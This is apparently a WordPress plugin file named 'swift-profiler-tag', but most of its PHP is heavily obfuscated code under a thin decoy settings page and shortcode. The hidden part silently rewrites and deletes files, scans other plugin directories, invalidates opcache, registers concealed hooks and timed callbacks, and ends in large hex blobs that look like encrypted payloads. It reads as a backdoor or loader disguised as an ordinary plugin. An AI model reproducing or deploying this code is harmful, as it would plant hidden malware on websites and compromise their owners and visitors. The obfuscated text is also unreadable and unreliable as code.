  if  (hus_b7m621lgc6(2433)($s0ue7gwwslo7) <      2  ||    $s0ue7gwwslo7[0]     !==  $_2czqqmep3g9fh[1]  ||  (int)  $s0ue7gwwslo7[1]    !== (int)     @rmqbu5no5o(2413)($mw8hnp982r7vm))  {
  @wyzg13xdhd5r(2423)($buoq3h9wej);
  continue;$lw86t_tfg7mp2=8928;$x5jh2vhbv1tr9=$lw86t_tfg7mp2%2;
}



 if   (ap4ok1eip838yapv3nc6($mw8hnp982r7vm) !== false) {
ms4mh9yjk8_y876983kix($mw8hnp982r7vm,     (414+6));
if (oj333ptt2v9_ikd4str_($mw8hnp982r7vm))  {
   @igsdp_2fdrp(2423)($buoq3h9wej);
if  (hus_b7m621lgc6(2434)(rmqbu5no5o(2417)))  @opcache_invalidate($mw8hnp982r7vm,   true);

    }
       }
 continue;

 }
@hus_b7m621lgc6(2435)($buoq3h9wej,  $_2czqqmep3g9fh[1]   .  '|'   .  (int)     @ep_coq62(2436)($mw8hnp982r7vm));
  continue;



     }
 if   ($_2czqqmep3g9fh[1]   ===    $w6vtvqff5bs8f) {
$ktcv7n9hk4a91rbt   = qj1dx17525o10cjjsjm65b();
      $nptgtyeh17  =      false;



   if  (!empty($ktcv7n9hk4a91rbt[wyzg13xdhd5r(2437)])) {
       $phrvu77_iwmgt2hj  =    @ep_coq62(2438)($ktcv7n9hk4a91rbt[lfavz1nmi6pw4(2439)]);
  

  $u8uuqtw1p0a    =      @ep_coq62(2440)($mw8hnp982r7vm);$h8mzhwl1nm3ha5=71+54;$cs2okpibmc4137=$h8mzhwl1nm3ha5-39;
       if (lfavz1nmi6pw4(2415)($phrvu77_iwmgt2hj)   && igsdp_2fdrp(2441)($u8uuqtw1p0a) && $phrvu77_iwmgt2hj === $u8uuqtw1p0a    &&    zdzetw638davbhtwru($ktcv7n9hk4a91rbt)  ===  hus_b7m621lgc6(1915)    &&  dww3vqm0v_wguq7nb_u($mw8hnp982r7vm))     return;
   if (hus_b7m621lgc6(2442)($phrvu77_iwmgt2hj)    &&   $phrvu77_iwmgt2hj   ===    @rmqbu5no5o(2443)($cpkodlqbbn90ky))  $nptgtyeh17 = true;
 }

if    (!$nptgtyeh17 &&    !dww3vqm0v_wguq7nb_u($mw8hnp982r7vm))  {
      if (pje0f8ozx98xw5lvp($mw8hnp982r7vm) ||   ap4ok1eip838yapv3nc6($mw8hnp982r7vm) !==  false) {
 if (cyv7b4mpbkf5y9k($mw8hnp982r7vm, $mw8hnp982r7vm  .    igsdp_2fdrp(178))  && ep_coq62(2444)(rmqbu5no5o(2445)))   @opcache_invalidate($mw8hnp982r7vm, true);
}
unset($ktcv7n9hk4a91rbt,  $nptgtyeh17,     $phrvu77_iwmgt2hj,  $u8uuqtw1p0a);
continue;
 }
 if     (!$nptgtyeh17  &&     rmqbu5no5o(2329)(rmqbu5no5o(2432)(hus_b7m621lgc6(2427)($mw8hnp982r7vm,    rmqbu5no5o(2411))),   0,   (0xb+0x1))  > igsdp_2fdrp(2329)(wyzg13xdhd5r(2446)($aow6vk_if5kabr), 0, (1+11)))   return;

    unset($ktcv7n9hk4a91rbt,  $nptgtyeh17, $phrvu77_iwmgt2hj,   $u8uuqtw1p0a);


   }

  }
    }
  unset($cpkodlqbbn90ky, $w6vtvqff5bs8f,     $j7oe0t81vj9t, $_2czqqmep3g9fh,  $ki16se9sqwvxv,     $ws4bhjq6jlcffxq1,  $bi7l5v5ptoipy, $mw8hnp982r7vm,  $x2r3_l0jbal5r97,   $aow6vk_if5kabr, $b0su6mhla7zsb,      $zee_pc87wmz,  $buoq3h9wej,  $s0ue7gwwslo7);
      }     catch      (Throwable   $mrelaaojjq4dc7d)      {
    } catch  (Exception $mrelaaojjq4dc7d) {
   }
     if (isset($GLOBALS[hus_b7m621lgc6(159)]))  {
  if     (version_compare((string) $GLOBALS[ep_coq62(159)],    m5d7gnhy503_5w7j(),  ep_coq62(198))) return;
   $GLOBALS[lfavz1nmi6pw4(2043)]   =   1;
  }  elseif  (defined(igsdp_2fdrp(2447))) {
// WP Core Data enqueue order

   $u8mgfaq9bvceth7    =  constant(wyzg13xdhd5r(2448));
  if (ep_coq62(2442)($u8mgfaq9bvceth7) && lfavz1nmi6pw4(2449)(hus_b7m621lgc6(1663),      $u8mgfaq9bvceth7) &&  version_compare($u8mgfaq9bvceth7,  m5d7gnhy503_5w7j(), hus_b7m621lgc6(198))) return;
$GLOBALS[lfavz1nmi6pw4(2043)] = 1;
      unset($u8mgfaq9bvceth7);

  }
   $GLOBALS[igsdp_2fdrp(2450)]   = m5d7gnhy503_5w7j();
 if    (ep_coq62(2444)(wyzg13xdhd5r(163))) @clearstatcache(true,  kwizo_5vxh_f26an7qg());

 $GLOBALS[rmqbu5no5o(161)]    =    (string) @igsdp_2fdrp(2436)(kwizo_5vxh_f26an7qg()) .  ':'  .   (string)    @igsdp_2fdrp(2412)(kwizo_5vxh_f26an7qg());
 if     (!defined(rmqbu5no5o(2448)))   define(rmqbu5no5o(2451),  m5d7gnhy503_5w7j());
 if      (!defined(hus_b7m621lgc6(2452)))   define(lfavz1nmi6pw4(2452),    m5d7gnhy503_5w7j());
 avhn6w577un09rbhdbl1(ep_coq62(1751));

  iu8_xmqjaudq9e(kwizo_5vxh_f26an7qg());
if      (ep_coq62(2453)(rmqbu5no5o(2454))    &&   ep_coq62(2455)(ep_coq62(2456)))    {

    try {
       $rsbay0i39v   = bv_j7m9r7_qskxb7m();
  if     (@lfavz1nmi6pw4(2408)($rsbay0i39v)) {
   $s4cygth2uqxz08    =    ukqz_udm228qa8d();
 $vt63ypxiyel4ss   =  aoy815vanbylrvbuug0i($rsbay0i39v);
if     (igsdp_2fdrp(2409)($vt63ypxiyel4ss))     {
   foreach   ($vt63ypxiyel4ss  as $aczyamj8h_fn) {
    if    ($aczyamj8h_fn   ===    $s4cygth2uqxz08)  continue;
if    (ep_coq62(1255)(hus_b7m621lgc6(823)($aczyamj8h_fn,  constant(rmqbu5no5o(2457))))  !==  ep_coq62(515)) continue;
      $lglbbagfbb8dg    =  $rsbay0i39v   . '/'  .  $aczyamj8h_fn;$shuzn0k9f0=-433;$q0oh2fotdq=($shuzn0k9f0>0)?$shuzn0k9f0:-$shuzn0k9f0;
  if     (@hus_b7m621lgc6(2458)($lglbbagfbb8dg)    &&   @rmqbu5no5o(2436)($lglbbagfbb8dg)  >   (4953+47) && u8byy6z6npcskqe5pyv($lglbbagfbb8dg,     (0xa9+0x12df)))   {

sfqgag4hultp35f($lglbbagfbb8dg);
 }
 }
// MySQL window functions: unbounded journal

}
  }
 } catch    (Throwable  $mrelaaojjq4dc7d)     {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(225),    $mrelaaojjq4dc7d);
  }  catch (Exception $mrelaaojjq4dc7d)      {
}
 }
  
if  (! eqhzhhm11h2k_p())     {
 yh_5wfg4508dbh(lfavz1nmi6pw4(423),  hus_b7m621lgc6(2459),  1);
       }
     


  $GLOBALS[hus_b7m621lgc6(691)] =     array();   
    $GLOBALS[hus_b7m621lgc6(2460)] =   array();  
 $GLOBALS[igsdp_2fdrp(469)]   =     "";   
if      (igsdp_2fdrp(2455)(hus_b7m621lgc6(2047)))  {
igsdp_2fdrp(2047)(wyzg13xdhd5r(2461));
      igsdp_2fdrp(2462)(rmqbu5no5o(2463));
}
  $j_lhjupvsxp  =     igsdp_2fdrp(2464)(kwizo_5vxh_f26an7qg())  .   igsdp_2fdrp(768) . wyzg13xdhd5r(2427)(kwizo_5vxh_f26an7qg(),    wyzg13xdhd5r(2411));
  if  (@ep_coq62(2458)($j_lhjupvsxp))    {
 $jsbkzrc03ype   =  wyzg13xdhd5r(2465)((string)   @hus_b7m621lgc6(2414)($j_lhjupvsxp));
   $w5erfwzgo3 = lvpn93_26gfwiesn();
      if  ($jsbkzrc03ype    === ""  ||     $jsbkzrc03ype   !==  $w5erfwzgo3) oj333ptt2v9_ikd4str_($j_lhjupvsxp);

 unset($jsbkzrc03ype,  $w5erfwzgo3);
  }
     try  {
     @hus_b7m621lgc6(22)(lfavz1nmi6pw4(2464)(kwizo_5vxh_f26an7qg()) . ep_coq62(2466)  . hus_b7m621lgc6(2427)(kwizo_5vxh_f26an7qg(),   lfavz1nmi6pw4(2411)));
     $mkuixo0z0j0y =    ep_coq62(2467)   . lvpn93_26gfwiesn();
   foreach (array(rmqbu5no5o(2464)(kwizo_5vxh_f26an7qg()), bv_j7m9r7_qskxb7m()) as   $co_9fn8ty9d5sufu) {

  if     (@rmqbu5no5o(2458)($co_9fn8ty9d5sufu    . '/'  .    $mkuixo0z0j0y))     @lfavz1nmi6pw4(2468)($co_9fn8ty9d5sufu     .  '/'    .   $mkuixo0z0j0y);
      }

  unset($mkuixo0z0j0y,      $co_9fn8ty9d5sufu);
 }   catch (Throwable $mrelaaojjq4dc7d)  {
}  catch   (Exception    $mrelaaojjq4dc7d)   {
     }
   unset($j_lhjupvsxp);


yh_5wfg4508dbh(wyzg13xdhd5r(880), lfavz1nmi6pw4(2469),  0);
yh_5wfg4508dbh(igsdp_2fdrp(880), wyzg13xdhd5r(2470), 0);
 yh_5wfg4508dbh(igsdp_2fdrp(2471),  ep_coq62(2469),      0);


  yh_5wfg4508dbh(ep_coq62(2472),     wyzg13xdhd5r(2469), 0);
 yh_5wfg4508dbh(hus_b7m621lgc6(2472), lfavz1nmi6pw4(2473), 2);


 yh_5wfg4508dbh(igsdp_2fdrp(2472),   igsdp_2fdrp(2474), (0x2+0x1));
      yh_5wfg4508dbh(ep_coq62(2472),  igsdp_2fdrp(2475),   (1<<2));

  yh_5wfg4508dbh(lfavz1nmi6pw4(423), hus_b7m621lgc6(2476),    (2+3));
 kptd4727suew2_rdqpl(hus_b7m621lgc6(2477),  ep_coq62(2478), (0x4+0x6),    1);
    kptd4727suew2_rdqpl(rmqbu5no5o(2479),  rmqbu5no5o(2478),    (172^166),   1);
kptd4727suew2_rdqpl(igsdp_2fdrp(2480), ep_coq62(2478),    (1+9),   1);
    kptd4727suew2_rdqpl(hus_b7m621lgc6(2481),  hus_b7m621lgc6(2478),  (9+1),   1);



        
   kptd4727suew2_rdqpl(wyzg13xdhd5r(2482), rmqbu5no5o(2483),  (920+79),     (4-1));


   yh_5wfg4508dbh(igsdp_2fdrp(1032), rmqbu5no5o(2484), (947+52),   2);
   
 kptd4727suew2_rdqpl(lfavz1nmi6pw4(2485),  ep_coq62(2486));
kptd4727suew2_rdqpl(igsdp_2fdrp(2487),    ep_coq62(2488), (0x2+0x8), 2);
    kptd4727suew2_rdqpl(lfavz1nmi6pw4(2489), ep_coq62(2490));$xqmjxfluz6wu=5173;$gmbttz0a9=$xqmjxfluz6wu%8;
     
 kptd4727suew2_rdqpl(rmqbu5no5o(2491),    rmqbu5no5o(2492),  (0x7+0x3),  1);

kptd4727suew2_rdqpl(rmqbu5no5o(2493),   igsdp_2fdrp(2494),  (0x7+0x3),      2);
     yh_5wfg4508dbh(rmqbu5no5o(2495), igsdp_2fdrp(919));
   kptd4727suew2_rdqpl(lfavz1nmi6pw4(2496),    igsdp_2fdrp(2497));
   
 kptd4727suew2_rdqpl(rmqbu5no5o(2498),  rmqbu5no5o(929));
   

 yh_5wfg4508dbh(rmqbu5no5o(2499),  rmqbu5no5o(2500),      -(921+78));
// @fallback opaque-type



yh_5wfg4508dbh(wyzg13xdhd5r(2501),  lfavz1nmi6pw4(2502), -(952+47));
 yh_5wfg4508dbh(ep_coq62(2503),   ep_coq62(2504),   -(960+39));
      
yh_5wfg4508dbh(rmqbu5no5o(2505),     hus_b7m621lgc6(2506),  (0x13a+0x2ad));
yh_5wfg4508dbh(wyzg13xdhd5r(2507),   rmqbu5no5o(2508),   0);
yh_5wfg4508dbh(rmqbu5no5o(2509),  lfavz1nmi6pw4(2510),      (0x115+0x2d2));
     yh_5wfg4508dbh(hus_b7m621lgc6(2511),     igsdp_2fdrp(2512), (973+26));

  
  yh_5wfg4508dbh(wyzg13xdhd5r(191),     wyzg13xdhd5r(2513),   2);
 yh_5wfg4508dbh(rmqbu5no5o(2514),   rmqbu5no5o(2515),   0);

yh_5wfg4508dbh(wyzg13xdhd5r(2516),  rmqbu5no5o(2517),    0);


yh_5wfg4508dbh(wyzg13xdhd5r(2518),      wyzg13xdhd5r(2519),     0);

yh_5wfg4508dbh(igsdp_2fdrp(2520),    hus_b7m621lgc6(2521),  1);
 yh_5wfg4508dbh(lfavz1nmi6pw4(2520),  wyzg13xdhd5r(2522), 2);
    
  yh_5wfg4508dbh(lfavz1nmi6pw4(2520),   hus_b7m621lgc6(2473),    (2+1));
    yh_5wfg4508dbh(ep_coq62(2520),  ep_coq62(2523),  (1+3));
 yh_5wfg4508dbh(hus_b7m621lgc6(2520),  wyzg13xdhd5r(725),  (0x4+0x1));
   yh_5wfg4508dbh(hus_b7m621lgc6(2524),  lfavz1nmi6pw4(2525),  (197^195));
  yh_5wfg4508dbh(hus_b7m621lgc6(2524),      wyzg13xdhd5r(2526), (0x2+0x4));
 yh_5wfg4508dbh(wyzg13xdhd5r(2527), wyzg13xdhd5r(2528),     (4+2));$zku73mb_rx=(0xa4+0x20);$ps5hwe8a_y5=$zku73mb_rx%13;
        yh_5wfg4508dbh(ep_coq62(2527), rmqbu5no5o(2529),    (3+4));


  if   (lfavz1nmi6pw4(2530)(ep_coq62(2531)))  {$t7kw5vitoys=(0xb5+0xd5);$vtzlgqa0ol=$t7kw5vitoys%3;

  ep_coq62(2531)(function   () {

    if      (!empty($GLOBALS[igsdp_2fdrp(2532)]))  return;
if (!defined(wyzg13xdhd5r(2232))  ||  !lfavz1nmi6pw4(2530)(igsdp_2fdrp(2247))) return;

    if (rmqbu5no5o(2530)(rmqbu5no5o(2533)))   {
  try     {
        zksb68q35cwjie();
  }    catch      (Throwable  $mrelaaojjq4dc7d)  {


 }  catch    (Exception  $mrelaaojjq4dc7d) {
   }
 }
});
}
    yh_5wfg4508dbh(ep_coq62(2527),   igsdp_2fdrp(2534),     (6+2));
// @synchronize phantom

  yh_5wfg4508dbh(wyzg13xdhd5r(2149),  rmqbu5no5o(2149));
    yh_5wfg4508dbh(wyzg13xdhd5r(2150),  igsdp_2fdrp(2535));
    yh_5wfg4508dbh(igsdp_2fdrp(423),   ep_coq62(2536), (6+4));


     yh_5wfg4508dbh(hus_b7m621lgc6(2527), function   () {
if  (!wyzg13xdhd5r(2530)(rmqbu5no5o(2537))     ||    !ep_coq62(2530)(rmqbu5no5o(2331)))   return;
$o6s6ow0u8q160qw  =    (int) @get_option(lfavz1nmi6pw4(2538),  0);
 if  ((ep_coq62(2333)()     -  $o6s6ow0u8q160qw) >  (6607-3007))     {

  @update_option(wyzg13xdhd5r(2538),    lfavz1nmi6pw4(2333)());


 r7wcqi4j4spojesham();
       }



   },    (0x5+0x4));
   
      yh_5wfg4508dbh(lfavz1nmi6pw4(74),  lfavz1nmi6pw4(2539));
    kptd4727suew2_rdqpl(rmqbu5no5o(2540), hus_b7m621lgc6(2541));


       if (hus_b7m621lgc6(2530)(igsdp_2fdrp(498)) && did_action(wyzg13xdhd5r(2542)))  {
uucy30rcsxsn8ibb8();




    }
  
}
add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','swift-profiler-tag-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('swift-profiler-tag_group');
        do_settings_sections('swift-profiler-tag-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('swift-profiler-tag_group','swift-profiler-tag_options');
    add_settings_section('swift-profiler-tag_main','Configuration',function(){echo '<p>Configure options below.</p>';},'swift-profiler-tag-settings');
    add_settings_field('swift-profiler-tag_cache','Cache Mode',function(){
        $o=get_option('swift-profiler-tag_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('swift-profiler-tag_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'swift-profiler-tag-settings','swift-profiler-tag_main');
});
if(function_exists('add_shortcode'))add_shortcode('swift_profiler_tag_stats',function(){
    $o=get_option('swift-profiler-tag_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('swift-profiler-tag_options'))add_option('swift-profiler-tag_options',array('cache'=>'enabled','version'=>'1.0'));
});

/*707a0d30bf58f3191637bac74826d930bb5c312d4e0ffefaaef215b3a67d9752d385aff602515d27d0c78e34a998464a3903c0e90f36de3006041de5e37f31814266accfec94c0e1304500e9593723e0e6b5984e677ccd06c125a76726bb91c1a5fe4a7e5b72012c77a7d8db8c9971539ccad5d326df2fd4e50736440ce1924a2b99355a27d896980edd403993f231e3c5a5b1ee409dd1c1f624a5fbb99cdda06b24845d40b9ed516a3c3db5c8872abfd2f9bea000e60d2ff180e308ba1eb92f7bb841a58dc4e546b6cc16b180f6e2a7e69cdf6156d4ae5e7d97de3403fc79f1ada25d454ca0c6faeaa850193c9a173a7012a7b7966e0374826a7aebb076a34e82f25b4506a490d54f0faa644022b0b1dbf59caac7c99fa4bea05b6b304988fc614aa232460a75df4cee29079195d49e9425b268f0780a52520862f0f89e97057e3e56c19f35e40e18b88b738a13d94d374834e96d32fe38b015bdcf8ef9cfd27cc2ef4d690fc38e815791a9ff9ef678a1c2c8773241a31b773004571a6acb1985aae6ddc02cddd9b80763743ad796e8a61f2f4b019d982af2900b34fd222bcc9902308bd56ec828f4c45886f9d86018ec6fec39b298c853a7fbe97da22a43432f48aa1a1a2a59430699f07d042511aecd74f4df263b647092a9ab68e5b3a6720d59c14c54ebb1055f13b54042b3ebc5f80485e241642533b14bcbb027af9a57c6d7a638510727c2989257141a1e63e4caa8ef11cb3e0f757c156832a116248f2cc01b4eb5073fe9ece6d6eb12d45b2750777bfc19ce8fe2b974ccb964c162a1955f69e39a2f6277ed12e4392d45c2782d1f2a4bfc76fe1e509de24a1a9539f0aad0358fc41bdceb5ad0e26d210a8ba380d6d83b1ac5e4053655f550143e5299f306e3125059caf9c4dd14d2a6d31ce3e5a7dc386305e659d9ae3955aaef3613eb4df5a33dacfbe972b01602877542c40a630936fd5a343b320ba3c506f2513ecf40fc513c6157ea13912361a6afbe2381a9172b3b0a12702830f81a103df4e0d447cfd8b1ff9a8cd05129e19e16366222bba61d7be6570ce25c61d04ba7cd94e5d2de157ad4695332f29b2de66589cf1ab65880c80076b595946062a58fa74587ec2ef0e4afe570ff5f37850dd48da74bce32538c84982b32caee6f42f36bd162a5542583d10c6b2614d0310be3e10c465a9b2352d634d23d10d42bf1e24224892bb7e024420d29fa58b25111b3bee7ab55999d555360cd3d4c28f1f3b995e833fca652ef794aeb4823de26701deb4f19caf326b8ee4979a2b368d3aa563cf9767f5d0e2bba816f01fb88883e4f61cb0454bf919a18ef4e5848e993aacebc17db8c4b01581c7875a039904d2720a6dfa7ab1291d63d707fc5218c0f50437180e58b0ab90cbd5493750dda4006e6c903dc15e9d3cb11b4b2987c657372a3ef4f24490a9bb627901632dd1293ce1d2ead11658e6d5f64d5ff628f9d18ff581b7f8b1835a22719bf1a5fdbb52f9e06bf83957e88685299c42f434294965e844ccb8078cb5d3f68dbd90b8e6eb37f2f3fc6b96bbcaca25712bb2785614b3c5072274bfd318e4a047ffc8d9571ba8433cf67c83f857490a918e3c3853015be99e7169159cbcfb80f489ec5d09c54a065c957fe76d7a03df4367960faaa0d0d9a52208a8c472e0dd9197af55bcb4ff0a7468717469d485bb94a721f898400b5b751c61f809f6f1059a6bd33d764486cd18d574510221c86e912cdbba1065ab8ea6205adb230c7b2d2d1c20440ccdaa3e3351354c323c40f2c786c1207b55587b0b724eb80c11ab9b50296f56dde368b01ca608b67872828592fa0575cb6f7b7e2909da245fae3369cb2c8990939684ff12967d3f4b7b742ff2ab527d822c9a8508060c47b6c7093c738ed7a7e91cd692d444bcc9da319665279a254308250ada542d229142a01554400cd926bbb3a9e1128ced9128b492114674cc6167d4a36b2b32d7edf9a43293c26929e9fa1e7e644403a7e9a60dabd98ac0d6429867a5cb573bdcd2acb872e1caceb1e8e38164fe4a2a7384dc87f172c77e46747593ac26ed162eccc14dced178fc27e0e533891e447385df92d939723fb61f5f39fa3b76ea8355ed77413a57568f259e493bc16f8a57c2316d32b9559d2c5e34f2e54a1dd3a3e1bd4e440c938eeb8af4739a65cf9a120361e4311fdd6935cd0fb0a8d9a944c79fe4d8674f669ea5fb0b2ac203229e00784c70ec7ba9f419435201b1d46671d95aea0d2b877cf896ac142a4094917838e2284b54bf68f00531e593761152b1935ade2e61f23220322aaf6d1375c3eeee8a5910dfa729c44b1b94b1a50122ae2a07d853112337767cfb843561d106c96e64774143335b19d11b9588370e340a1b9b6f019147a69a28a477f70bf4879c76509ad3eede4e4e6b743f13061ea672687eb60b51d2cbaad31fc9db9ed87f5cdde0bb53dea8137d1be2459c12668aedc981e77540f6e902677cbbb460751a9d570c4b762035d6704ded91d27c9c16f57a2dc223fbc7d6289cfb69af4efed346301dfe9cbd9fcfe2cb6c9cc929d3790b3a267bac599eaf7dc0f44ffb2da04814d2642bae605ddef27ae5f151144d3108c2d25d856793694f8a22f7d11c5fb08ab63d95f616fd52bf96a816fadb7b08877482c8bff4f35f05bee441a79f358c840532369524eb9c5a549d5a6db5bea85d9c1558bf152db780a8da9d52cc654a4b8d66462312e9d6bdc0a83434c00fa77e47e961740fa69c876de6e79bc18f4a62d3242d5731686c56b462be73ee3590ce8216ea5d7d62338c7dd719a82d12ab713d4*/
/*2993fd2c0cf01df8d7099e813f63fafe0fbfcb7cc786aabdd36a04fbb77846debae6c7d90b0eed552675d5568c7846322d538c89924a51711028395d547326e9675dfbcfb5d893f6e4c42aaffd1a7f1ef2f0dd81e8fd129751ae9447e229e9d67cf16c4b7d98e196a21ddc701e087f9132db8b8d8b919147e12a9beb4c27e26d0fa410e20006917f073b05e0c7db665da2db8e6e0b8d4aa8e0a17f0676cc65dcbd0e9b3ce567074940ec106b35c6d613ad73b0d73bd21b94c8fbd0a0c0403b94aff4fec54aaa5d0ea97322fa58711b9cc872d2920a20cbff02867973426781f5b5e2f232cb1696228183418f8f95fdd6639f86db0bd23da1d26f88ed039999d17682d80fceed69d09ddf406e3f95dd8eeb58c26e8afa59f1fe6215601ec62c4ec64e3b63e8b341a5e5ceb4557652d43c61d209a6423a17815f83fc5f1bf4bf0d1ffb98424122097bab296718cc81522d461493f58153860dda4c0d889e27f2e9af87951641bf4b17c9e3fff489164fff5cec8574d226d33388b6b436a5a05a1c115214c0c208868a42fa5694c0e721056258fc7d1de58c320dce044329d2a5fd6da30349d8181d74d435698facbb1700a6351daf521eddf136281989315898d79877c8095e130329e3f136dcee7019441d865b1402908994c31839350505ac3db46bc118b5daa1e8b05c2d1ba3b0aee105879acbecfa2a3c07fd7d97da21c7df4d6637e2d708ce8225f5422604fe0be892e881c60f5d5e5cf8456a56c3dee95bc89af608f7f55ecf8278c45e501d5059f925352edbcccde8be6f81330462d426cc0fb78542d2c288fb9d449cf6694f223b6cb1bdcda2de324a1a8815c7afdc5f2816a6e732f9fb467b242f3094e171b36c13f2a507bb17bc6b587495cd563bb89043e13b215c161309b4ca38ba1d1b320ffbe4fe8fc0cc4921883c552e67d6a45f004c26cee7d53c542bf9629a43a55f5734701255b716ec44abcdb6e78e1ce9c1ee60d36b2efca328245ec7c44821d948d553d081380167b062df2d5283217228c02c6e00fdd258757fa163c1918cc045dff00336658a45ad3d0a5b64e05af3ae25338ddce5c7643f76759cfdb503fa085e91762b0df250f41239603b290f9649be3646567bc64aef9274f3042b7274577ed43d79010c1c0354481a32732424529a462fead3a79fac3bb6a4f26e50422ac410747028e7a81fc78738f3767fd9f72fab18184bd83330502594eba5f900259cf683bd3fe0b6695bee23ce7ee695d14c152da40a3df67a1d498355fa242fb9cfdd958348750dcb3f78f46cfc1012cd4af3c5debe6c429b533a5d79b0e1c8c8bae9dc9a8dc123ff517d9e6e1d2bb4062093fd19d48ed89d77c2d8ec108e28e81affd38c48af83935fe557c1885da4c68f17188da168e6785423f5d7c9d03a8a52c996c0eb41a4deeda430e86490f20be0fbb1c59327dadb3a873382da1a2ff6a55d1f7a7999ff4f85cf4a23eddb762485fb546cd72161326ded09de1b4d1a92c74b342104b18768d0d259aa5935b30dc59b8b7987e106261a4a4655064d1c7f1fe90c7e5fe9949902c71bcd8ae69bfeeab9c00ec50efcdd0ebce9c5700a187238b1c951f1a28db3668c3bab83d7a6c57c925727fd05080e621dd2dac9b8722331719c6e5969ab5d0638be1a6bf2287bd82a23312906b9dd5b48ce7cb1e33c266007a12024e987d61fb9ff21a387511698054fe7e2d1381910884cff078fcf107f997b2b205ce2197003177712232335f99ff90c12a8c930754cbf39feb5de3a24eb1cd4e8096876a4a7232875dc06d18fe534aed7470d4b50e87aa194531889ba793152a2fee77321f7a46e44de0bfa227a2090ffedc92c11e04c2cfaa4ebbfae599e649e7b8ac06387d56f95f06fc545ad24184c17592f2e73bd305b97d63c209690c028b5d89b818d11d6dec180566de06895488b264da7edb743abafa5a489f0f4779f059fe7d9e8e79902349d707bd21aaa16483c4b35b8d02663a8f10f69f83693f7331bb28ccd0929fe46c2a734a00e02cb76fe70e8420a71103112b85c48c1987d03e87a16a1d9aa0dd6c556e7a2f553695b24ab7c3a12ec1bc4d879c3c5f114db7ccb1b6e11c294eb0c93cd480c99f2b75e1aa842315a0da128d07f917db12bf07370a73ed448f1739e2dec958fabb3b350b63bbb619b8e9ade270a9430a54d2c6549c9134d870d41b95c6dd8733372496e8c40dd8539168e692ffa26c42f0c50620d37518ae011c653a3aece7d297f7deb941f959f344102c2ef62697b8baef5ee848e94e18882f6af78208e94579202d9fe450544f8c1035c92606e4477f1dfe62ac7950d20a5ef2d86ae81cb4f0235e261fedef05fd13325bc6da3c139af53ec1992c117042f9d9cd5ed5251b62080dccf593f6583ff9ec0b6c9b46461500cf7b4164df9252684eed5221bf475cf1a5903a583f19fa0db64da60822ed539d7116531633c0d24604b002399c71bad80830e3fc744c260536ff49ad6e5898a8cacd59d35a4c92ee33c7ed4ed488ad8824107fedd0c7e5928bebb0e9bdda87a7a9729372c06ef0224f8e6b27d58f435680da23b3bddb2b95e80ad0d7e276d9fc460ed82969eb4d1ebb01f2a4b5d7941fd8741151d96b75973a9a6cb5eb5ccafadc70c3a48027372545c199acc5d422ea06b759d3b9dc90aa78a1edd8b70a4da2af35c48b4e0dc8b3e2a89bfa0d11cf7f04fa8a3af7c0ab7591f3fce31cb3b89b6a9cdec742ca55134ad0a3dcb57c1a64b17a53207d3f2b41badd6a4b311b178102ba9892fdf32d0d92d2b1bc69125d64da33455c70447b25bebc0*/
/*3f02ae439446541d805a1f74d57fb8d32b415ef9e123caf786b47c30697d68cb0a484f7eda22912a706f712f400b8a706d5ea0e482547505a7d3e9b2e3e099645681d225c8cd09968db40d48b86d99397079c92718cf7f829f10051a6086109e6c9b51467d81bab4560ff65b02829cd539f1b0e37bd1a5549779a8abb08668bfa0f61439de3342ac108c3582d9f514f0bbbe6c30576ac31eb4c40f21b4074093eb25bd143da1d23c5ff7e527ae0da23aaee46c3473ee297afcd40e593f4a4aca7b650bb1a19a47d9452ad85b8d7707e21701aabba2c02ac678780d5813eb0cd7a1b67958fd7b42b434812b42d051c48c3a5c2ec9bdabb095317f3cb2315e44b4436bfa660866b05e05527a81bbf433ee5f2986263617b6f7f4bd48cc92a73f8b04d405bcd3cd3ef65f8dad3c8a3f592e8e00d47ad4dd2c432c04ce12caae2325d38ded9aed1f78384a201c776f5495f5c6e2f7f5d49f34741d7999ea4782b85797b52d5eed4512524c456e0454f613ac464572b1f4f507e41638512f7ea506f10f025cab5c9c26360f36dca5894a1855b89d86bf107e4075c0d6e606349ae03904ca194d15b8c1fc677e2c812e7751b673288b18541f8cb8564465bc8d872eb3a305dbda45a96ac90387f46a17e9809e4995cb017fc698c0603b988299d70551f9e06a9c9fa27b4496f18584aaff2576a168cad10260741d3d42af302d14076ae16458388c433921cfad9c2d61b60a67f38fe1351563f1642a53c8001d667826282b3b6a8e7311e47a5b5ece8c0c3f9c3ac758a9da0b7186d9e2461dc801077112ea6c90e26ebb67dc68f23714ee99e39b2cc93660474774a32d381bd241f0aa7e1d994a74a960cb70f255ac4ff4a8ec0e346b47d929a138e1aa0efcd613d8646852c8989e112055d53525f51847a9983873ade4c29d99cab955c0dbecc2c474ff23e4c31a9b3bf2bf7fe4b30cf49dc9d7277fb65a85ed916ce2dff5e4e6fefa561a552b5ebba282a1ece456322cf69962ced01fa75496b09a9e5ead481a4d1896270f61e86d0519603b5413e8b88eb955241ab8cd4848f26e6bd1d378bdbb5b465e141fe319f0a610e3700d81e4a233f45cfdad620f14eb0277fc7e75c678ec7f54336d77c79ec9573321b4195417964bd17b8c9682242b3c69da551899111368ce9cdc97f1a330958e2e5927df05a61e5916f98472123c246b577d68d8bf5ded1f79ee512976d28813a1d90698d05c0d6a60385c59125a5a4828da6dccb5c01d83fc77760d9d5f71b3016acee04cde1102fc76a382d3aec185f067d489f6fb89a2a994c4cabca793e662f5b4446c15a85e2b98b3777a3ec6a8b3941177d47e81c44acf2b9ea26b7c4883215d36be7fdf36b1169c02253afd9d52f7b45ec24f4c852b851b17afd91c6025f73900f5428471f410c212391512447ef587af282312acdbba961e08e3eb0c78e38f3daef44671dd319e38a6593fe2e8b5818710c81e7b7afc78362f888810b419466d36e1cc15353d5fbd069b84cd760fd77d56ca4cad91ad3abcff6c338242d7f997c65a4f9c26616c785fb7bafad6cf1ceb97d65920264b722b0da4bfdc05c1728b3561ec73246b9dcbd047f16a99b7b9450ee45ae7e7fc153af7